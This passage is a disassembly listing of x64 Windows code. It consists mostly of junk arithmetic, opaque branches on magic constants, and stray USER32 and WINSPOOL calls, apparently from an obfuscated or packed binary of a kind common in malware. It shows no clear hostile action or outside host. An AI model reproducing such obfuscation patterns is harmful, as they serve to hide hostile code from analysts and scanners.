movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x15c], al
mov rax, qword [rsp + 0x6050]
mov rcx, qword [rsp + 0x5d58]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6108]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6058]
mov ecx, dword [rsp + 0x3240]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6118]
mov ecx, dword [rsp + 0x348c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x34fc], eax
mov rax, qword [rsp + 0x6170]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6148]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6130], rax
movsx eax, word [rsp + 0xe18]
mov rcx, qword [rsp + 0x6160]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe10], ax
movzx eax, word [rsp + 0xd88]
movzx ecx, word [rsp + 0xe14]
add eax, ecx
mov rcx, qword [rsp + 0x60e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6168]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x60f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x15c], al
movsx eax, word [rsp + 0xe18]
mov rcx, qword [rsp + 0x6160]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401482d0], ax
movsx eax, word [rsp + 0xe10]
mov rcx, qword [rsp + 0x6160]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe18], ax
mov rax, qword [rsp + 0x60c0]
mov rcx, qword [rsp + 0x6058]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3500], eax
mov rax, qword [rsp + 0x5d58]
mov rcx, qword [rsp + 0x60b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6050], rax
mov rax, qword [rsp + 0x6130]
mov rcx, qword [rsp + 0x6170]
mov qword [rsp + 0x6178], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6178]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x6148], rax
mov rax, qword [rsp + 0x6118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34bc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x34fc], eax
movsx eax, byte [rsp + 0x15b]
movsx ecx, byte [rsp + 0x158]
or eax, ecx
mov byte [rsp + 0x159], al
movzx eax, word [rsp + 0xd88]
movzx ecx, word [rsp + 0xe0c]
shl eax, cl
mov word [rsp + 0xe14], ax
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x159]
and eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
movsx eax, word [rsp + 0xe18]
movsx ecx, word [rsp + 0xe1c]
sub eax, ecx
mov word [rsp + 0xe10], ax
movzx eax, word [rsp + 0xe14]
movzx ecx, word [rsp + 0xd88]
add eax, ecx
mov rcx, qword [rsp + 0x60d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x6128]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x349c], eax
mov rax, qword [rsp + 0x6118]
mov ecx, dword [rsp + 0x34bc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x34fc], eax
mov rax, qword [rsp + 0x6130]
mov rcx, qword [rsp + 0x6148]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x6050]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6108]
mov qword [rcx], rax
movsx eax, word [rsp + 0xe18]
movsx ecx, word [rsp + 0xe1c]
and eax, ecx
mov word [rsp + 0xe10], ax
mov rax, qword [rsp + 0x6100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15b]
sub eax, ecx
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0x6168]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x60f8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x15c], al
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60e0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xd88], ax
movzx eax, byte [rsp + 0x15c]
mov rcx, qword [rsp + 0x60f8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6168]
mov byte [rcx], al
mov rax, qword [rsp + 0x6130]
mov rcx, qword [rsp + 0x6170]
mov qword [rsp + 0x6180], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6180]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x6148], rax
cmp dword [rsp + 0x3518], 0xf176
jae 0x140008162
lea rax, [rsp + 0x60b8]
mov qword [rsp + 0x6188], rax
mov eax, dword [rsp + 0x34dc]
mov dword [rsp + 0x351c], eax
cmp dword [rsp + 0x351c], 0
je 0x140008755
cmp dword [rsp + 0x351c], 0x6424f46a
je 0x1400086b6
jmp 0x140008793
mov edx, 0xe0
lea rcx, [rsp + 0x1b1a0]
call qword [sym.imp.USER32.dll_CharLowerBuffW]
mov dword [rsp + 0x34fc], eax
mov eax, dword [rsp + 0x34fc]
mov ecx, dword [rsp + 0x34bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x348c], eax
mov rax, qword [rsp + 0x6168]
movzx eax, byte [rax]
mov byte [rsp + 0x3520], al
cmp byte [rsp + 0x3520], 0xf0
je 0x140008707
jmp 0x140008739
mov rax, qword [rsp + 0x6128]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3468]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
mov rax, qword [rsp + 0x60e0]
movzx ecx, word [rax]
call fcn.14012e470
nop
jmp 0x140008753
mov edx, 0xed
mov rcx, qword [rsp + 0x60c8]
call qword [sym.imp.USER32.dll_GetScrollPos]
mov dword [rsp + 0x3500], eax
jmp 0x140008793
mov rax, qword [rsp + 0x6168]
movzx eax, byte [rax]
mov byte [rsp + 0x15f], al
lea rax, [rsp + 0x15e]
mov qword [rsp + 0x6190], rax
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x158]
sub eax, ecx
mov byte [rsp + 0x15d], al
movzx eax, word [rsp + 0xe14]
mov dword [rsp + 0x3524], eax
cmp dword [rsp + 0x3524], 0x9480
je 0x1400087b4
jmp 0x140008893
mov rax, qword [rsp + 0x60c0]
mov eax, dword [rax]
mov dword [rsp + 0x3528], eax
cmp dword [rsp + 0x3528], 0
je 0x1400087d4
jmp 0x140008871
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
mov byte [rsp + 0x352c], al
cmp byte [rsp + 0x352c], 0
je 0x1400087f2
jmp 0x140008843
movzx eax, word [rsp + 0xe14]
mov word [rsp + 0xe20], ax
movsx eax, word [rsp + 0xe1c]
mov rcx, qword [rsp + 0x6160]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x60d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6100]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x159], al
jmp 0x140008864
mov rax, qword [rsp + 0x6170]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6130]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6148], rax
mov dword [rsp + 0x3530], 0x332f
jmp 0x140008891
mov rax, qword [rsp + 0x60c0]
mov rcx, qword [rsp + 0x6058]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6128]
mov dword [rcx], eax
jmp 0x1400088d5
mov rax, qword [rsp + 0x6188]
mov rcx, qword [rsp + 0x60b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5d58], rax
mov rax, qword [rsp + 0x6110]
mov r8d, dword [rax]
movzx edx, byte [rsp + 0x15d]
mov rax, qword [rsp + 0x60d0]
movzx ecx, word [rax]
call fcn.14012dd80
nop
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x15d]
sub eax, ecx
movsx ecx, byte [rsp + 0x159]
mov rdx, qword [rsp + 0x60e8]
movsx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jl 0x14012c3e3
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe14]
imul eax, ecx
movzx ecx, word [rsp + 0xd88]
mov rdx, qword [rsp + 0x60f0]
movzx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jge 0x14000894c
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x159]
add eax, ecx
mov byte [rsp + 0x15b], al
cmp dword [rsp + 0x3488], 0x39b9
jae 0x140008ad8
mov rax, qword [rsp + 0x6168]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15f]
sub eax, ecx
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0x6188]
mov rcx, qword [rsp + 0x6108]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5d58], rax
mov eax, dword [rsp + 0x349c]
mov ecx, dword [rsp + 0x3240]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3500], eax
mov eax, dword [rsp + 0x3488]
add eax, 0x1e
mov dword [rsp + 0x3488], eax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x6148]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6130], rax
mov eax, dword [rsp + 0x348c]
mov ecx, dword [rsp + 0x34bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6118]
mov dword [rcx], eax
mov rax, qword [rsp + 0x60f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd88]
sub eax, ecx
mov rcx, qword [rsp + 0x60d8]
mov word [rcx], ax
movsx eax, word [rsp + 0xe10]
movsx ecx, word [rsp + 0xe1c]
add eax, ecx
mov word [rsp + 0xe18], ax
movsx eax, word [rsp + 0xe18]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6160]
mov word [rcx], ax
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x15b]
sar eax, cl
mov byte [rsp + 0x158], al
movzx eax, word [rsp + 0xe0c]
mov rcx, qword [rsp + 0x60d8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
mov rax, qword [rsp + 0x6148]
mov rcx, qword [rsp + 0x6130]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6188]
mov rcx, qword [rsp + 0x6108]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6050], rax
jmp 0x14000894c
lea rax, [rsp + 0x34dc]
mov qword [rsp + 0x6198], rax
lea rax, [rsp + 0x34bc]
mov qword [rsp + 0x61a0], rax
movsx eax, word [rsp + 0xe10]
movsx ecx, word [rsp + 0xe18]
add eax, ecx
mov word [rsp + 0xe1c], ax
cmp dword [rsp + 0x34d0], 0xec57
jae 0x140008e7a
mov rax, qword [rsp + 0x60f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
mov rax, qword [rsp + 0x6100]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6098]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x60e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6168]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6190]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
mov eax, dword [rsp + 0x34d0]
add eax, 0xa0
mov dword [rsp + 0x34d0], eax
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15e]
sub eax, ecx
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6148]
mov rcx, qword [rsp + 0x6130]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x61a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3500]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x349c], eax
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x5d58]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x6188]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe10]
sar eax, cl
mov rcx, qword [rsp + 0x60d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15b]
or eax, ecx
mov byte [rsp + 0x158], al
movzx eax, byte [rsp + 0x15e]
mov rcx, qword [rsp + 0x60f8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6168]
mov byte [rcx], al
movzx eax, word [rsp + 0xe14]
mov rcx, qword [rsp + 0x60f0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x60e0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0x6098]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15d], al
mov rax, qword [rsp + 0x5d58]
mov rcx, qword [rsp + 0x60b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6188]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6128]
mov ecx, dword [rsp + 0x3500]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x349c], eax
mov rax, qword [rsp + 0x6118]
mov ecx, dword [rsp + 0x34fc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x34bc], eax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x6130]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6148], rax
movzx eax, byte [rsp + 0x15a]
mov rcx, qword [rsp + 0x6190]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15f], al
movzx eax, word [rsp + 0xd88]
movzx ecx, word [rsp + 0xe14]
add eax, ecx
mov word [rsp + 0xe20], ax
movzx eax, word [rsp + 0xe0c]
movzx ecx, word [rsp + 0xe14]
sub eax, ecx
mov rcx, qword [rsp + 0x60f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe18]
add eax, ecx
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
mov rax, qword [rsp + 0x6190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6168]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6108]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6050]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6188]
mov qword [rcx], rax
mov rax, qword [rsp + 0x61a0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x348c]
shr eax, cl
mov rcx, qword [rsp + 0x6118]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6130]
movzx ecx, al
mov rax, qword [rsp + 0x6148]
shl rax, cl
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3500]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3240], eax
movsx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0x60e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15d], al
jmp 0x140008b12
movsx eax, word [rsp + 0xe10]
movsx ecx, word [rsp + 0xe1c]
add eax, ecx
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0xe18]
sub ecx, edx
cmp eax, ecx
jne 0x140008fdf
mov eax, dword [rsp + 0x3500]
mov dword [rsp + 0x3534], eax
cmp dword [rsp + 0x3534], 0x7529b5cb
je 0x140008ec9
jmp 0x140008fdf
mov rax, qword [rsp + 0x60c0]
mov rcx, qword [rsp + 0x6150]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6128]
mov rdx, qword [rsp + 0x6198]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jge 0x140008fdf
mov rdx, qword [rsp + 0x6158]
mov ecx, 0x9e
call qword [sym.imp.USER32.dll_SetClipboardData]
mov qword [rsp + 0x60b0], rax
mov rax, qword [rsp + 0x6168]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15f]
and eax, ecx
mov rcx, qword [rsp + 0x6190]
mov byte [rcx], al
mov rax, qword [rsp + 0x6118]
mov eax, dword [rax]
mov dword [rsp + 0x3538], eax
cmp dword [rsp + 0x3538], 0xf741350a
je 0x140008f57
jmp 0x140008fc3
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe18]
sub eax, ecx
mov word [0x1401482d0], ax
lea r9, [rsp + 0x61a8]
mov r8d, 0xc6
lea rdx, [rsp + 0x1a4a0]
mov rcx, qword [rsp + 0x61b0]
call sub.WINSPOOL.DRV_WritePrinter
mov dword [rsp + 0x3510], eax
mov r8d, dword [rsp + 0x34dc]
mov rax, qword [rsp + 0x6100]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x6060]
movzx ecx, word [rax]
call fcn.14012dd80
nop
jmp 0x140008fdf
movsx eax, word [0x1401482d0]
mov rcx, qword [rsp + 0x6160]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe10], ax
mov rax, qword [rsp + 0x61a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34bc]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x348c]
mov rdx, qword [rsp + 0x6118]
mov edx, dword [rdx]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14012c1ea
movsx eax, byte [rsp + 0x15b]
movsx ecx, byte [rsp + 0x158]
sub eax, ecx
mov rcx, qword [rsp + 0x6098]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x6100]
movsx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jg 0x14012bfa2
movzx eax, byte [rsp + 0x159]
mov byte [rsp + 0x160], al
mov dword [rsp + 0x353c], 0xaeb0
mov rax, qword [rsp + 0x6170]
mov rax, qword [rax]
mov qword [rsp + 0x61b8], rax
movabs rax, 0x168fa434b531ac06
cmp qword [rsp + 0x61b8], rax
je 0x140009100
movabs rax, 0xca080c496f8b7b0f
cmp qword [rsp + 0x61b8], rax
je 0x14000909d
jmp 0x140009159
movzx eax, byte [rsp + 0x15f]
movzx ecx, byte [rsp + 0x15c]
and eax, ecx
mov rcx, qword [rsp + 0x6190]
mov byte [rcx], al
lea r9, [rsp + 0x15f]
mov r8d, 0xc0
mov rdx, qword [rsp + 0x61c0]
mov rcx, qword [rsp + 0x61c8]
call qword [sym.imp.USER32.dll_GetMenuItemRect]
mov dword [rsp + 0x34ac], eax
movzx eax, word [rsp + 0xe20]
movzx ecx, word [rsp + 0xd88]
shl eax, cl
mov word [rsp + 0xe14], ax
jmp 0x140009159
movsx eax, word [rsp + 0xe10]
mov rcx, qword [rsp + 0x6160]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x60d0]
mov word [rcx], ax
lea rdx, [rsp + 0x60b8]
mov rcx, qword [rsp + 0x61d0]
call qword [sym.imp.USER32.dll_GetComboBoxInfo]
mov dword [rsp + 0x3540], eax
mov rax, qword [rsp + 0x6168]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15e]
sar eax, cl
mov byte [rsp + 0x15f], al
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x60b8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x5d58]
mov rdx, qword [rsp + 0x6050]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x14012bf87
lea rax, [rsp + 0x34fc]
mov qword [rsp + 0x61d8], rax
mov dword [rsp + 0x3544], 0x1449
mov dword [rsp + 0x3548], 0xc1df
mov rax, qword [rsp + 0x6130]
mov qword [rsp + 0x61e0], rax
mov rax, qword [rsp + 0x61d8]
mov eax, dword [rax]
mov dword [rsp + 0x354c], eax
cmp dword [rsp + 0x354c], 0
je 0x140009287
cmp dword [rsp + 0x354c], 0x3beb1067
je 0x1400091f5
jmp 0x1400093a1
mov rax, qword [rsp + 0x6150]
mov rcx, qword [rsp + 0x6058]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6110]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5d58]
mov qword [rsp + 0x61e8], rax
movabs rax, 0x3e72df32031dd68a
cmp qword [rsp + 0x61e8], rax
je 0x14000923b
jmp 0x14000926c
mov rax, qword [rsp + 0x6050]
mov rcx, qword [rsp + 0x60b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5d58], rax
mov rax, qword [rsp + 0x6068]
movzx ecx, word [rax]
call fcn.14012e470
nop
jmp 0x140009282
mov rcx, qword [rsp + 0x61f0]
call qword [sym.imp.USER32.dll_SetCapture]
mov qword [rsp + 0x6090], rax
jmp 0x1400093a1
mov rax, qword [rsp + 0x61a0]
mov rcx, qword [rsp + 0x61d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6118]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x34fc]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x14000930c
movzx eax, word [rsp + 0xe14]
mov rcx, qword [rsp + 0x60e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd88], ax
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x15b]
sub eax, ecx
mov rcx, qword [rsp + 0x60e8]
mov byte [rcx], al
movzx edx, word [rsp + 0xe20]
mov rax, qword [rsp + 0x61d8]
mov ecx, dword [rax]
call fcn.14012d9e0
nop
jmp 0x1400093a1
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [rsp + 0x15e]
add eax, ecx
movzx ecx, byte [rsp + 0x15f]
movzx edx, byte [rsp + 0x15c]
sub ecx, edx
cmp eax, ecx
jne 0x1400093a1
movsx eax, word [rsp + 0xe18]
movsx ecx, word [0x1401482d0]
sub eax, ecx
mov word [0x140147004], ax
mov dword [rsp + 0x3550], 0xf11
mov rax, qword [rsp + 0x6160]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe1c]
sub eax, ecx
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15b]
mov byte [rsp + 0x161], al
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [section..data]
or eax, ecx
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
cmp dword [rsp + 0x34ec], 0x351d
jb 0x1400098f7
mov rax, qword [rsp + 0x60c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3240]
shl eax, cl
mov dword [rsp + 0x3500], eax
mov rax, qword [rsp + 0x60b8]
mov rcx, qword [rsp + 0x6188]
mov qword [rsp + 0x61f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x61f8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x6050], rax
mov eax, dword [rsp + 0x348c]
mov ecx, dword [rsp + 0x34bc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x61a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6148]
mov rcx, qword [rsp + 0x61e0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
movzx eax, word [rsp + 0xe14]
movzx ecx, word [rsp + 0xe20]
sub eax, ecx
mov rcx, qword [rsp + 0x60e0]
mov word [rcx], ax
movsx eax, word [rsp + 0xe1c]
movsx ecx, word [rsp + 0xe18]
add eax, ecx
mov rcx, qword [rsp + 0x6160]
mov word [rcx], ax
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6160]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe18], ax
movsx eax, byte [rsp + 0x15d]
movsx ecx, byte [rsp + 0x161]
add eax, ecx
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd88]
add eax, ecx
mov rcx, qword [rsp + 0x60d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x6130]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x61e0], rax
mov rax, qword [rsp + 0x6110]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3468]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3500], eax
mov rax, qword [rsp + 0x6188]
mov rcx, qword [rsp + 0x60b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6050], rax
mov eax, dword [rsp + 0x348c]
mov rcx, qword [rsp + 0x6118]
mov qword [rsp + 0x6200], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6200]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x61d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6190]
movzx eax, byte [rax]
movzx ecx, byte [section..data]
xor eax, ecx
mov byte [rsp + 0x15e], al
movsx eax, word [rsp + 0xe1c]
movsx ecx, word [rsp + 0xe18]
or eax, ecx
mov word [0x1401482d0], ax
movzx eax, byte [rsp + 0x15e]
mov rcx, qword [rsp + 0x6168]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
movsx eax, word [rsp + 0xe10]
movsx ecx, word [rsp + 0xe18]
and eax, ecx
mov word [rsp + 0xe1c], ax
mov rax, qword [rsp + 0x6100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15d]
add eax, ecx
mov byte [rsp + 0x15b], al
movzx eax, byte [section..data]
mov rcx, qword [rsp + 0x60f8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6168]
mov byte [rcx], al
mov eax, dword [rsp + 0x34ec]
sub eax, 0xa
mov dword [rsp + 0x34ec], eax
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x6188]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x60b8], rax
mov rax, qword [rsp + 0x6118]
mov ecx, dword [rsp + 0x34fc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x348c], eax
mov rax, qword [rsp + 0x6128]
mov rcx, qword [rsp + 0x6198]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x6148]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
movsx eax, word [rsp + 0xe10]
mov rcx, qword [rsp + 0x6160]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401482d0], ax
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x158]
add eax, ecx
mov byte [rsp + 0x159], al
movzx eax, word [rsp + 0xd88]
mov rcx, qword [rsp + 0x6068]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe0c], ax
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6098]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x158], al
movzx eax, byte [rsp + 0x15c]
mov rcx, qword [rsp + 0x6190]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x15f], al
mov rax, qword [rsp + 0x61a0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x34bc]
shr eax, cl
mov dword [rsp + 0x348c], eax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x6130]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3240]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3500], eax
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x6188]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5d58], rax
movsx eax, word [rsp + 0xe18]
movsx ecx, word [rsp + 0xe10]
sub eax, ecx
mov word [0x140147004], ax
movsx eax, byte [rsp + 0x160]
movsx ecx, byte [rsp + 0x15b]
sub eax, ecx
mov byte [rsp + 0x15d], al
movsx eax, word [rsp + 0xe10]
mov rcx, qword [rsp + 0x6060]
movsx ecx, word [rcx]
add eax, ecx
